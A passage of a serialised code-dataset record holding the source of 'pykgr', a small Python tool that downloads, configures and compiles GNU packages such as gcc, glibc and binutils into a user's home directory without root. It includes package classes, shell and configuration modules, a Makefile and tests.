\"hello-2.9.tar.gz\"\n name = \"hello\"\n version = \"2.9\"\n \nenv = pykgr.Environment()\nenv.build_package(Hello)\n```\n\nWhich will build the package. The goal is to allow people to maintain a git repo\nsimilar to mypackages, that they could then pull from and build a root-free system\nof packages that, by default, install to $HOME/pykgr.\n\n\n"},{"alpha_fraction":0.6732673048973083,"alphanum_fraction":0.6732673048973083,"avg_line_length":16.823530197143555,"blob_id":"2578814a7828394b513b1ce3b89a60a21891f629","content_id":"11bac6f4bac00be1a453e591f44f9cd2c29fc446","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":303,"license_type":"permissive","max_line_length":53,"num_lines":17,"path":"/tests/test_002-environment.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"TEST_DIR=\"/tmp/pykgr_test\"\n\nimport os\n# os.environ[\"root_directory\"] = TEST_DIR # No choice\nimport pykgr\npykgr.config.setup(TEST_DIR)\nfrom pykgr.environment import initialize\n\n\ndef test_setup():\n initialize()\n\n assert os.path.exists(TEST_DIR) == True\n\n\nif __name__ == \"__main__\":\n test_setup()\n"},{"alpha_fraction":0.5631188154220581,"alphanum_fraction":0.5878713130950928,"avg_line_length":31.31999969482422,"blob_id":"0a913efc8ae1e9a7bf8ddb886d57734f0857e64a","content_id":"4fc90f4092bb8b25af7138fa24c207c63e7d9199","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":808,"license_type":"permissive","max_line_length":85,"num_lines":25,"path":"/base/packages/gcc.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import pykgr\nimport os\n\n\nclass Gcc(pykgr.Package):\n file_url = \"http://ftp.gnu.org/gnu/gcc/gcc-10.2.0/gcc-10.2.0.tar.xz\"\n file_name = \"gcc-10.2.0.tar.xz\"\n name = \"gcc\"\n version = \"10.2.0\"\n\n def configure(self):\n self.shell.command(\n \"%s/configure\" % self.code_directory,\n \"--build=x86_64-linux-gnu\",\n \"--prefix=%s\" % pykgr.config.builder_directory,\n \"--enable-checking=release\",\n \"--enable-languages=c,c++,fortran\",\n \"--disable-bootstrap\",\n \"--disable-multilib\"\n ).run(display_output = True)\n\n def pre_configure_run(self):\n self.shell.cd(self.working_directory)\n self.shell.command(\"contrib/download_prerequisites\").run(display_output=True)\n self.shell.cd(self.build_directory)\n"},{"alpha_fraction":0.6113536953926086,"alphanum_fraction":0.6113536953926086,"avg_line_length":20.302326202392578,"blob_id":"accc5f0fd83a56717ec353d6da5f421fb8229f5a","content_id":"936620f7a6e11dc66e8cf1ba017c7193aa9ebe15","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":916,"license_type":"permissive","max_line_length":49,"num_lines":43,"path":"/pykgr/environment.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import os\nfrom pykgr import config\nfrom pykgr.builder import Builder\n\n\nclass Environment(object):\n builder = None\n variables = None\n \n def __init__(self):\n self.variables = dict(os.environ)\n self.builder = Builder(\n directory=config.builder_directory\n )\n\n def build_builder(self):\n pass\n\n def build_package(self, package_name):\n self.builder.build(package_name)\n\n def __str__(self):\n return \"<Environment: %s>\" % id(self)\n\n\ndef build_directories():\n if not os.path.exists(config.root_directory):\n os.mkdir(config.root_directory)\n for d in [\n config.main_directory,\n config.source_directory,\n config.source_tarballs_directory,\n config.library_directory\n ]:\n if not os.path.exists(d):\n os.mkdir(d)\n\n\ndef initialize():\n build_directories()\n env = Environment()\n\n return env "},{"alpha_fraction":0.5757575631141663,"alphanum_fraction":0.6060606241226196,"avg_line_length":10.333333015441895,"blob_id":"b154ca971a3d0ff465bc3608ff13acdc57199627","content_id":"9a27a108a0aeb55518ec32041f5cdb0406e740c0","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":33,"license_type":"permissive","max_line_length":20,"num_lines":3,"path":"/pykgr.sh","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"#!/bin/bash\n\npython3 -m pykgr $@;"},{"alpha_fraction":0.8590909242630005,"alphanum_fraction":0.8590909242630005,"avg_line_length":35.83333206176758,"blob_id":"a6d9e91f90982aee44bb85de3321a73db06b0566","content_id":"e49160aca6e63a8aa11d0940b9766eea7d12fe1d","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":220,"license_type":"permissive","max_line_length":46,"num_lines":6,"path":"/pykgr/__init__.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"from pykgr.package import Package\nfrom pykgr.shell import Shell\nfrom pykgr.configuration import conf as config\nfrom pykgr.environment import Environment\nfrom pykgr.builder import Builder\nfrom pykgr.package import Package"},{"alpha_fraction":0.5197018384933472,"alphanum_fraction":0.5214767456054688,"avg_line_length":26.900989532470703,"blob_id":"c37c781bd30dbbd7b35185d6b4a8878382040c91","content_id":"df474d736258ac87194cf114080b6d883a645873","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2817,"license_type":"permissive","max_line_length":73,"num_lines":101,"path":"/pykgr/shell.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import os\nimport subprocess\nimport sys\nimport pykgr\n\nclass Shell(object):\n working_dir = None\n # A pythonic shell\n\n def __getattribute__(self, key):\n try:\n data = object.__getattribute__(self, key)\n return data\n except AttributeError as err:\n if key in os.environ:\n return os.environ.get(key)\n else:\n return Command(key)\n\n def __new__(cls, *args, **kwargs):\n # `args` are treated as arguments into a shell,\n # e.g. `Shell(\"ls -l\")` or `Shell(\"ls\", \"-l\")`\n # returns the stdout of `/bin/sh -c \"ls -l\"`\n # while `Shell(\"ls\")` returns a \"program\" (below.)\n #\n # Kwargs are environment variables, e.g.\n # Shell(\"echo $test\", test=\"world\") is akin\n # to test=\"world\" echo $test.\n #\n # An empty class returns a blank shell instance,\n # for \"interactive\" mode like `sh = Shell(); sh.command(\"ls -l\")`\n #\n # For a blank shell in a given folder you would, e.g.\n # Shell(PWD=\"/my/source/code/folder\").command(\"configure -flag\")\n # or\n # Shell(PWD=\"/my/source/code/folder\").configure(\"-flag\")\n if len(args):\n print(args)\n\n if len(kwargs):\n for key in kwargs:\n if key == \"PWD\":\n os.chdir(kwargs.get(\"PWD\"))\n os.environ[key] = kwargs.get(key)\n\n self = super(Shell, cls).__new__(cls)\n return self\n\n def __str__(self):\n return \"<Shell @ %s>\" % (\n os.environ.get('PWD')\n )\n\n def cd(self, directory):\n os.chdir(directory)\n os.environ[\"PWD\"] = directory\n\n def command(self, *args, **kwargs):\n cmd = args[0]\n arguments = []\n if len(args) >= 2:\n arguments = args[1:]\n\n return Command(cmd, *arguments, **kwargs)\n\n\nclass Command:\n args = None\n env = None\n program = None\n\n def __call__(self, *args, **kwargs):\n self.args = args\n\n return self.run(display_output=kwargs.get('display_output'))\n\n def __init__(self, command, *args, **kwargs):\n self.program = command\n self.args = args\n self.env = kwargs\n\n def run(self, display_output = False):\n command_line = [\n self.program\n ] + [e for e in self.args]\n\n process = subprocess.Popen(\n command_line,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT\n )\n\n if pykgr.config.verbose:\n for line in iter(process.stdout.readline, b''):\n sys.stdout.write(line.decode(\"utf-8\", \"strict\"))\n\n output, error = process.communicate()\n if type(output) == bytes:\n output = output.decode(\"utf-8\", \"strict\")\n\n return output"},{"alpha_fraction":0.5664160251617432,"alphanum_fraction":0.5889724493026733,"avg_line_length":25.600000381469727,"blob_id":"498b268dc25f252586fe023c6ddb94a0779f58bf","content_id":"48503c67bfa47d8f91f1d905bf5d2b9014adef18","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":399,"license_type":"permissive","max_line_length":63,"num_lines":15,"path":"/base/packages/glibc.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import pykgr\nimport os\n\n\nclass Glibc(pykgr.Package):\n file_url = \"http://ftp.gnu.org/gnu/glibc/glibc-2.32.tar.xz\"\n file_name = \"glibc-2.32.tar.xz\"\n name = \"glibc\"\n version = \"2.32\"\n \n def configure(self):\n self.shell.command(\n \"%s/configure\" % self.code_directory,\n \"--prefix=%s\" % pykgr.config.library_directory\n ).run(display_output = True)\n"},{"alpha_fraction":0.565016508102417,"alphanum_fraction":0.5653465390205383,"avg_line_length":30.24742317199707,"blob_id":"10ef7f68a02ae1eab212e1b4515f52fccadcf4a3","content_id":"ec37b1b16e447fb860b065c8fd4aa869ff9f9a59","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3030,"license_type":"permissive","max_line_length":128,"num_lines":97,"path":"/pykgr/configuration.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import os\nimport json\n\nclass Configuration(object):\n prefix = \"pykgr_\"\n\n def __init__(self):\n self.setup()\n\n def __str__(self):\n return \"<pykgr.Configuration %s>\" % str(self.all())\n\n def all(self):\n buffer = {}\n for key in self.keys():\n buffer[key] = getattr(self, key)\n\n return buffer\n\n def from_file(self, json_file):\n print(\"Loading Config\", json_file)\n conf = None\n with open(json_file, 'r') as fp:\n conf = json.loads(fp.read())\n fp.close()\n\n if conf:\n keys = self.keys()\n for k in conf:\n if k in keys:\n value = conf[k]\n if \"{\" in value:\n value = replace_vars(self, value)\n setattr(self, k, value)\n\n def keys(self):\n return [\n key\n for key in dir(self)\n if \"__\" not in key and key != \"prefix\" and not callable(getattr(self, key))\n ]\n\n def setup(self, root_dir=None):\n self.root_directory = root_dir if root_dir else getenv(self.prefix, \"root_directory\", envget(\"HOME\"))\n self.main_directory = getenv(self.prefix, \"main_directory\", \"%s/pykgr\" % self.root_directory)\n \n self.builder_directory = getenv(self.prefix, \"builder_directory\", \"%s/builder\" % self.main_directory)\n self.library_directory = getenv(self.prefix, \"library_directory\", \"%s/library\" % self.main_directory)\n self.packages_directory = getenv(self.prefix, \"packages_directory\", \"%s/packages\" % self.main_directory)\n \n self.source_directory = getenv(self.prefix, \"source_directory\", \"%s/source\" % self.main_directory)\n self.source_tarballs_directory = getenv(self.prefix, \"source_tarballs_directory\", \"%s/tarballs\" % self.source_directory)\n\n self.toolchain_package_module = getenv(self.prefix, \"toolchain_package_module\", None)\n self.main_package_module = getenv(self.prefix, \"main_package_module\", \"%s/packages\" % self.main_directory)\n self.local_package_module = getenv(self.prefix, \"local_package_module\", None)\n\n self.make_opts = getenv(self.prefix, \"make_opts\", \"1\")\n self.verbose = getenv(self.prefix, \"verbose\", False)\n\n\ndef envget(key):\n value = os.environ.get(key)\n if value:\n if value.strip() == \"True\":\n value = True\n elif value.strip() == \"False\":\n value = False\n return value\n\n\ndef getenv(prefix, key, default_value = None):\n key_name = \"%s%s\" % (\n prefix,\n key\n )\n \n value = envget(key_name)\n if not value:\n value = default_value\n return value\n\n\ndef replace_vars(instance, text):\n for key in instance.keys():\n string_to_find = \"{%s}\" % key\n if string_to_find in text:\n value = object.__getattribute__(instance, key)\n text = text.replace(\n string_to_find,\n value\n )\n\n return text\n\n\nconf = Configuration()"},{"alpha_fraction":0.5835051536560059,"alphanum_fraction":0.6020618677139282,"avg_line_length":29.3125,"blob_id":"20816828500d7844d19a934edbbc52fff7718334","content_id":"ab151749c6694955b0e7b9b63203df50ba498edf","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":485,"license_type":"permissive","max_line_length":69,"num_lines":16,"path":"/base/packages/binutils.py","repo_name":"DylanEHolland/pykgr.old","src_encoding":"UTF-8","text":"import pykgr\nimport os\n\n\nclass Binutils(pykgr.Package):\n file_url = \"http://ftp.gnu.org/gnu/binutils/binutils-2.35.tar.xz\"\n file_name = \"binutils-2.35.tar.xz\"\n name = \"binutils\"\n version = \"2.35\"\n \n def configure(self):\n self.shell.command(\n \"%s/configure\" % self.code_directory,\n \"--prefix=%s\" % pykgr.config.builder_directory,\n \"--with-lib-path=%s/lib\" % pykgr.config.library_directory\n ).run(display_output = True)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6138306260108948,\n \"alphanum_fraction\": 0.6138306260108948,\n \"avg_line_length\": 25.83333396911621,\n \"blob_id\": \"ee494a96107fdf7ac9dbf938ca0c302ab98c3dab\",\n \"content_id\": \"e4602ef35a850b60dc3db6e928f64924897caee1\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1287,\n \"license_type\": \"permissive\",\n \"max_line_length\": 102,\n \"num_lines\": 48,\n \"path\": \"/pykgr/builder.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nfrom pykgr.subroutines import import_from_string\\n\\n\\nclass Builder(object):\\n data = None\\n\\n def __init__(self, **kwargs):\\n self.data = BuilderData(**kwargs)\\n\\n if not self.data.directory:\\n raise Exception(\\\"What can we do without a directory?\\\")\\n\\n if not os.path.exists(self.data.directory):\\n os.mkdir(self.data.directory)\\n\\n def build(self, package_class):\\n if type(package_class) == str:\\n package_class = import_from_string(package_class)\\n\\n package_to_build = package_class()\\n package_to_build.__build__()\\n\\n def build_toolchain(self):\\n binutils = import_from_string(\\\"base.packages.binutils.Binutils\\\")\\n gcc = import_from_string(\\\"base.packages.gcc.Gcc\\\")\\n\\n self.build(binutils)\\n self.build(gcc)\\n\\n def build_library(self):\\n lib = import_from_string(\\\"toolchain.glibc\\\")\\n self.build(lib)\\n\\n\\nclass BuilderData:\\n def __init__(self, **kwargs):\\n self.directory = None\\n\\n self_keys = [row for row in dir(self) if \\\"__\\\" not in row and not callable(getattr(self, row))]\\n for key in kwargs:\\n if key in self_keys:\\n setattr(self, key, kwargs.get(key))\\n\\n\\nclass BuilderLibrary:\\n # For maintaining a local glibc\\n pass\"\n },\n {\n \"alpha_fraction\": 0.6152694821357727,\n \"alphanum_fraction\": 0.6302395462989807,\n \"avg_line_length\": 32.45000076293945,\n \"blob_id\": \"bc7a5725ce89d942fb5139550d70b6d2f92a5a14\",\n \"content_id\": \"f11a256555eae89c30082d0aff2baf88c1e84287\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 668,\n \"license_type\": \"permissive\",\n \"max_line_length\": 104,\n \"num_lines\": 20,\n \"path\": \"/setup.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from distutils.core import setup\\nsetup(\\n name = 'pykgr',\\n packages = ['pykgr'],\\n version = '0.1',\\n description = 'A never root software builder, like nix for poor people',\\n author = 'Dylan Holland',\\n author_email = 'salinson1138@gmail.com',\\n url = 'https://github.com/DylanEHolland/pykgr',\\n download_url = 'https://github.com/DylanEHolland/pykgr/archive/0.1.tar.gz',\\n keywords = ['SOFTWARE',\\\"PACKAGER\\\"],\\n install_requires=[ \\n 'argparse',\\n ],\\n classifiers=[\\n 'Development Status :: 3 - Alpha', # Chose either \\\"3 - Alpha\\\", \\\"4 - Beta\\\" or \\\"5 - Production/Stable\\\"\\n 'Topic :: Software Development :: Build Tools',\\n 'Programming Language :: Python :: 3.8',\\n ],\\n)\"\n },\n {\n \"alpha_fraction\": 0.5757575631141663,\n \"alphanum_fraction\": 0.5757575631141663,\n \"avg_line_length\": 17.200000762939453,\n \"blob_id\": \"df64cb18c7082208c38362a77ea6afa19bdf64ed\",\n \"content_id\": \"bffe1d6b6d2ec1632732fe6202e55093ee0964fd\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 363,\n \"license_type\": \"permissive\",\n \"max_line_length\": 44,\n \"num_lines\": 20,\n \"path\": \"/tests/test_001-shell.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from pykgr.shell import Command, Shell\\n\\n\\ndef test_command():\\n cmd = Command(\\\"hello\\\")\\n output = \\\"Hello, world!\\\"\\n\\n assert cmd.run() == 'Hello, world!\\\\n'\\n\\n\\ndef test_command_methods():\\n sh = Shell()\\n ls_command = sh.command(\\\"ls\\\", \\\"/\\\").run()\\n\\n assert ls_command == sh.ls(\\\"/\\\")\\n\\n\\nif __name__ == \\\"__main__\\\":\\n test_command()\\n test_command_methods()\"\n },\n {\n \"alpha_fraction\": 0.6263736486434937,\n \"alphanum_fraction\": 0.6263736486434937,\n \"avg_line_length\": 28.859375,\n \"blob_id\": \"33761fd53ccb4fda18886f5ae4b555d35c34e13d\",\n \"content_id\": \"954af4868b37d6496b8c21d31064a1c0bbf4b1e0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1911,\n \"license_type\": \"permissive\",\n \"max_line_length\": 98,\n \"num_lines\": 64,\n \"path\": \"/pykgr/cli.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from pykgr.subroutines import load_config, setup_paths\\nfrom argparse import ArgumentParser\\nfrom pykgr.environment import Environment, initialize\\nfrom pykgr import config\\nimport os\\n\\n\\ndef arguments():\\n ap = ArgumentParser()\\n \\n ap.add_argument(\\\"--build-library\\\", action=\\\"store_true\\\")\\n ap.add_argument(\\\"--build-toolchain\\\", action=\\\"store_true\\\")\\n ap.add_argument(\\\"--init\\\", action=\\\"store_true\\\")\\n ap.add_argument(\\\"--package-file\\\", \\\"-p\\\", help=\\\"Pass a package class to be built and installed\\\")\\n ap.add_argument(\\\"--package-module\\\", \\\"-pm\\\", action=\\\"append\\\")\\n ap.add_argument(\\\"--verbose\\\", \\\"-v\\\", action=\\\"store_true\\\")\\n \\n return ap.parse_args()\\n\\n\\ndef spawn_interface():\\n # Handle command line arguments\\n\\n args = arguments()\\n load_config(args)\\n setup_paths(args)\\n\\n if args.init:\\n if args.verbose:\\n print(\\\"Initializing\\\")\\n env = initialize()\\n else:\\n env = Environment()\\n\\n if config.toolchain_package_module:\\n if args.verbose:\\n print(\\\"Using toolchain module from\\\", config.toolchain_package_module)\\n\\n compiler = \\\"%s/bin/gcc\\\" % config.builder_directory\\n\\n if args.verbose:\\n print(\\\"Looking for environment in %s...\\\" % config.main_directory, end=' ')\\n if not os.path.isfile(compiler):\\n print(\\\"\\\\nToolchain doesn't exist!\\\")\\n else:\\n print(\\\"Found!\\\")\\n\\n if args.build_toolchain:\\n if args.verbose:\\n print(\\\"Building compiler\\\")\\n env.builder.build_toolchain()\\n # if not os.path.exists(\\\"%s/lib\\\" % config.library_directory):\\n # print(\\\"Building glibc\\\")\\n # env.builder.build_library()\\n \\n if args.build_library:\\n if args.verbose:\\n print(\\\"Building glibc\\\")\\n env.builder.build_library()\\n\\n if args.package_file:\\n if args.verbose:\\n print(\\\"Building\\\", args.package_file)\\n env.build_package(args.package_file)\\n\"\n },\n {\n \"alpha_fraction\": 0.8363636136054993,\n \"alphanum_fraction\": 0.8363636136054993,\n \"avg_line_length\": 27,\n \"blob_id\": \"e4fd5d1e7bf41f4c741b2233f537d83eaa2a3e7b\",\n \"content_id\": \"cc2f4c6b1742ccff959908303ef446c0726cf6ee\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 55,\n \"license_type\": \"permissive\",\n \"max_line_length\": 37,\n \"num_lines\": 2,\n \"path\": \"/pykgr/__main__.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from pykgr.cli import spawn_interface\\nspawn_interface()\"\n },\n {\n \"alpha_fraction\": 0.7086465954780579,\n \"alphanum_fraction\": 0.7086465954780579,\n \"avg_line_length\": 22.173913955688477,\n \"blob_id\": \"6f131359a33d9b67a386160351384e4222828306\",\n \"content_id\": \"d934c5137052d9a6059e2999de11ab840e72dfb4\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 532,\n \"license_type\": \"permissive\",\n \"max_line_length\": 73,\n \"num_lines\": 23,\n \"path\": \"/tests/test_004-builder.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pykgr\\nfrom pykgr.subroutines import add_module, import_from_string, setup_paths\\nimport sys\\nfrom common import get_current_path\\npykgr.config.setup(\\\"/tmp/pykgr_test\\\")\\n\\n\\ndef test_loading_module():\\n path = get_current_path()\\n base_module = path+\\\"base\\\"\\n add_module(base_module)\\n\\n assert base_module in sys.path\\n\\n\\ndef test_builder_setup():\\n builder = pykgr.Builder(directory=pykgr.config.builder_directory)\\n builder.build_toolchain()\\n\\n\\nif __name__ == \\\"__main__\\\":\\n test_loading_module()\\n test_builder_setup()\"\n },\n {\n \"alpha_fraction\": 0.5963636636734009,\n \"alphanum_fraction\": 0.6000000238418579,\n \"avg_line_length\": 23.571428298950195,\n \"blob_id\": \"6251cdff165dfe0269b85c7b71113c6c29babac5\",\n \"content_id\": \"f56f2ed20152e29a939d61d95c028d719f45dc32\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1375,\n \"license_type\": \"permissive\",\n \"max_line_length\": 74,\n \"num_lines\": 56,\n \"path\": \"/pykgr/subroutines.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from pykgr import config\\nimport sys\\nimport os\\n\\n\\ndef add_module(mod_path):\\n # mod_path = \\\"/\\\".join(mod_path.split(\\\"/\\\")[:-1])\\n if mod_path not in sys.path:\\n sys.path.insert(0, mod_path)\\n\\n\\ndef import_from_string(string):\\n # Return an import module from a string\\n # e.g. example.class\\n\\n packages = string.split(\\\".\\\")\\n if len(packages):\\n main_package = \\\".\\\".join(packages[0:-1])\\n main_class = packages[-1]\\n potential_module = __import__(main_package, fromlist=[main_class])\\n package_class = getattr(potential_module, main_class)\\n\\n return package_class\\n\\n\\ndef load_config(args):\\n # Update config class if files are present\\n\\n for conf_file in [\\n \\\"%s/.pykgr.json\\\" % os.environ.get('HOME'),\\n \\\"%s/pykgr.json\\\" % os.environ[\\\"PWD\\\"]\\n ]:\\n if os.path.isfile(conf_file):\\n config.from_file(conf_file)\\n\\n if args.verbose:\\n config.verbose = args.verbose\\n\\n\\ndef setup_paths(args):\\n # Setup pythonpath so we can call local package\\n # classes.\\n\\n if config.toolchain_package_module:\\n add_module(config.toolchain_package_module)\\n\\n if args.package_module:\\n packages = args.package_module\\n for pm in packages:\\n add_module(pm)\\n\\n print(\\\"\\\\n=\\\\nFinal $PYTHONPATH:\\\")\\n for d in sys.path:\\n if len(d):\\n print(\\\"\\\\t%s\\\" % d)\\n print(\\\"==\\\\n\\\")\"\n },\n {\n \"alpha_fraction\": 0.5965834259986877,\n \"alphanum_fraction\": 0.6018396615982056,\n \"avg_line_length\": 21.41176414489746,\n \"blob_id\": \"6c6504f9634b9fe61072007b9d26ff9afe5f41c8\",\n \"content_id\": \"470c5105e6a83d65d99501c3b808f91ec8616b43\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Makefile\",\n \"length_bytes\": 761,\n \"license_type\": \"permissive\",\n \"max_line_length\": 77,\n \"num_lines\": 34,\n \"path\": \"/Makefile\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"PY_INT=python3\\n\\nall: setup\\n\\nclean:\\n\\t@-for d in `find pykgr example base -name __pycache__`; do rm -rv $$d; done;\\n\\t@-for d in `find pykgr example base -name *.pyc`; do rm -rv $$d; done;\\n\\t@-if [ -d dist ]; then rm -r dist; fi;\\n\\t@-if [ -f MANIFEST ]; then rm MANIFEST; fi;\\n\\nprepare: setup\\n\\t@-$(PY_INT) setup.py sdist;\\n\\nproper: clean\\n\\t@-if [ -d env ]; then rm -r env; fi;\\n\\npush:\\n\\t@-twine upload dist/*;\\n\\nsetup:\\n\\t@-if ! [ -d env ]; then $(PY_INT) -m venv env; fi;\\n\\t@-source env/bin/activate && pip install -r requirements.txt;\\n\\nview_links: view_ld_list view_c_list view_cpp_list\\n\\t@-echo done;\\n\\nview_ld_list:\\n\\tld --verbose | grep SEARCH_DIR | tr -s ' ;' \\\\\\\\012;\\n\\nview_c_list:\\n\\techo | gcc -x c -E -Wp,-v - >/dev/null;\\n\\nview_cpp_list:\\n\\tgcc -x c++ -E -Wp,-v - >/dev/null;\"\n },\n {\n \"alpha_fraction\": 0.5593220591545105,\n \"alphanum_fraction\": 0.5738498568534851,\n \"avg_line_length\": 23.294116973876953,\n \"blob_id\": \"d7d99787cc99554404ab16d9a7017f99eea210b3\",\n \"content_id\": \"25cc8a60adf92ac58c94b3afba9e0989251a4afc\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 413,\n \"license_type\": \"permissive\",\n \"max_line_length\": 69,\n \"num_lines\": 17,\n \"path\": \"/base/packages/python.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pykgr\\nimport os\\n\\n\\nclass Python(pykgr.Package):\\n file_url = \\\"https://github.com/python/cpython/archive/3.9.tar.gz\\\"\\n name = \\\"cpython\\\"\\n version = \\\"3.9\\\"\\n file_name = \\\"3.9.tar.gz\\\"\\n no_build_dir = True\\n\\n def configure(self):\\n self.shell.command(\\n \\\"./configure\\\",\\n \\\"--prefix=%s\\\" % pykgr.config.packages_directory,\\n \\\"--enable-optimizations\\\"\\n ).run()\\n\"\n },\n {\n \"alpha_fraction\": 0.5649209022521973,\n \"alphanum_fraction\": 0.5649209022521973,\n \"avg_line_length\": 25.38129425048828,\n \"blob_id\": \"4d1c914f210029a25f0824baa01127c5b75c0589\",\n \"content_id\": \"a772f6e2a3d695d6851dd9d2fb968d21dfbc664a\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3666,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 139,\n \"path\": \"/pykgr/package.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from pykgr.shell import Shell\\nimport pykgr\\nimport os\\nimport shutil\\n\\n\\nclass Package(object):\\n # This class contains the methods needed to compile most\\n # gnu and open source projects.\\n #\\n # For packages that aren't compiled you can overload any\\n # method needed to change the flow (as well as in derived classes,\\n # see base/toolchain module for package derivatives.)\\n\\n build_directory = None\\n code_directory = None\\n compile_directory = None # e.g. if code_directory has a subdir, so \\\"{code_directory}/src\\\" for vim\\n subdirectory_location = None\\n file_name = None\\n file_url = None\\n name = None\\n repo = False\\n repo_url = None\\n shell = None\\n version = None\\n\\n no_build_dir = False\\n\\n def __build__(self):\\n if pykgr.config.verbose:\\n print(\\\"\\\\nBuilding\\\", self.file_url)\\n\\n self.get_code()\\n self.prepare()\\n self.generate()\\n\\n def __init__(self, **kwargs):\\n self.shell = Shell(PWD=pykgr.config.source_directory)\\n self.code_directory = \\\"%s/%s\\\" % (\\n pykgr.config.source_directory,\\n \\\"%s-%s\\\" % (\\n self.name,\\n self.version\\n )\\n )\\n\\n self.working_directory = self.code_directory\\n if self.compile_directory:\\n self.working_directory = self.working_directory + self.compile_directory\\n\\n self.build_directory = \\\"%s/build\\\" % self.code_directory\\n self.__initialize__()\\n\\n def __initialize__(self):\\n pass\\n\\n def __str__(self):\\n return \\\"<package [%s-%s]>\\\" % (self.name, str(self.version))\\n\\n def configure(self):\\n self.shell.command(\\n \\\"%s/configure\\\" % self.working_directory,\\n \\\"--prefix=%s\\\" % pykgr.config.packages_directory\\n ).run()\\n\\n def decompress(self):\\n if os.path.exists(self.code_directory):\\n if pykgr.config.verbose:\\n print(\\\"Decompressed code exists, removing...\\\")\\n self.shell.command(\\\"rm\\\", \\\"-rfv\\\", self.code_directory).run()\\n\\n self.untar()\\n\\n def fetch(self):\\n self.shell.cd(pykgr.config.source_tarballs_directory)\\n\\n self.shell.command(\\n \\\"wget\\\", \\n \\\"-c\\\",\\n self.file_url.encode()\\n ).run()\\n\\n def generate(self):\\n self.make()\\n self.install()\\n\\n def get_code(self):\\n if not self.repo:\\n self.fetch()\\n self.decompress()\\n\\n def install(self):\\n if self.no_build_dir:\\n self.shell.cd(self.working_directory)\\n else:\\n self.shell.cd(self.build_directory)\\n\\n self.shell.make(\\n \\\"-j%s\\\" % pykgr.config.make_opts,\\n \\\"install\\\"\\n )\\n\\n def make(self):\\n if self.no_build_dir:\\n self.shell.cd(self.working_directory)\\n else:\\n self.shell.cd(self.build_directory)\\n\\n self.shell.make(\\\"-j%s\\\" % pykgr.config.make_opts)\\n\\n def prepare(self):\\n self.shell.cd(self.working_directory)\\n\\n if not self.no_build_dir:\\n if os.path.exists(self.build_directory):\\n shutil.rmtree(self.build_directory)\\n\\n if not os.path.exists(self.build_directory):\\n os.mkdir(self.build_directory)\\n 